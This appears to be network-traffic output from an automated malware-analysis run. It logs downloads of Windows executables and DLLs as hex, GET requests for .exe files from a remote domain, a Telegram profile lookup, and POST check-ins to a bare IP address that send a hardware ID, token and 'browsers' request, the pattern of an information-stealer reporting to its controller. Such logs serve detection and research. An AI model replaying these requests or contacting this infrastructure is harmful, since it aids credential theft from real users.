00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Sep 2024 12:30:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Sep 2024 12:30:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Sep 2024 12:30:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Sep 2024 12:30:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Sep 2024 12:30:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Sep 2024 12:30:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /edm0d HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lnfsda.exe HTTP/1.1Host: innovaxingenieros.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vlsadg.exe HTTP/1.1Host: innovaxingenieros.comRange: bytes=287969-If-Range: Wed, 18 Sep 2024 06:33:51 GMTCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /edm0d HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=9e01edb38618f1c582_17837654898556210764
Source: global traffic	HTTP traffic detected: GET /edm0d HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=9e01edb38618f1c582_17837654898556210764
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHDHIEGIIIDHIDHDHJJHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 34 35 45 39 32 41 32 46 44 41 35 31 39 31 35 33 33 34 32 33 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 2d 2d 0d 0a Data Ascii: ------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="hwid"445E92A2FDA51915334237------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="build"default------JEHDHIEGIIIDHIDHDHJJ--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFCBFHJDHJKECAKEHIDHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 2d 2d 0d 0a Data Ascii: ------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="message"browsers------AKFCBFHJDHJKECAKEHID--
